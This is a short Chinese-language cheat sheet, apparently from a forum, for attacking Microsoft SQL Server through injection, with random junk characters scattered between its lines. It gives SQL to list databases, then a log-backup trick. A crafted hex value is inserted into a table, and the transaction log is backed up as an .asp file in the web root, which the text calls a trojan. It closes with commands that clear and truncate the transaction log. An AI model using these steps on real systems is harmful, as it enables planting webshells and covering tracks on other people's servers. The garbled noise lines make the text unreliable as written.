select * from master.dbo.sysdatabases 列出所有列的记录
/ Q: k. ^, G# m+ @6 j
8 `9 l- Z5 x% |- Y+ iselect name from master.dbo.sysdatabases 仅列出name列的记录
( v3 x; z0 F5 z* u( g E/ v) q9 z1 N* _# G* R+ H9 {! _
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
7 L7 {9 w( C+ v) Q/ ^1 U% L) e; g. }6 `0 r
alter database 数据库名 set RECOVERY FULL--
8 q- ]/ @; B, w9 x
' ^# l5 |$ T0 B. s2 M1 acreate table cmd (a image)-- \**cmd是创建的临时表
. m1 z& b- \; Z& Q' Z0 ~
( y" A4 p. `! p) I3 y) {7 rbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
4 |" g2 n2 R5 O$ Q ? @: J V, |( O0 q F, x4 H- J3 Y* _
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
# I3 _3 d, v5 t6 b
& g% X8 V7 T" f5 `% Q; F//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
; O( t" k- w. D% L2 X# J* [# N8 Y9 R
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
6 [* L0 X8 K& D: n
; K0 n+ U1 X7 a) d8 I9 i4 r' bdrop table cmd--& N t4 G' S0 ~. [
3 i! U+ e1 _; B
) i. \4 a' s: o( qf:\& d3 y0 e, O8 B
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
[, y: C! ]1 M# r. y" M9 s
- e2 j# I/ H- i最好多加几个回车0d0a,要不会出错哈
0 \" p5 o" Q1 n% \0 k5 j1 |* n) m, X n/ |4 ^4 f
" A, Z/ w% i- O2 h5 u1 |! I0 g3 R2 x
SQL Server日志清空方法 + i0 T/ h9 U4 m3 M3 {/ V' D
" a; U2 r7 ?+ \ e
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
2 C$ |; E, m' t# V% c1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
3 c9 ~4 h% x, h- k- [ \3 J U0 G' V& w* M
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
7 U3 f H+ ~$ p
+ R+ M. _7 Q0 ~: r3.收缩数据库:DBCC SHRINKDATABASE(databasename)
+ {3 E8 @/ @! w% a4 B |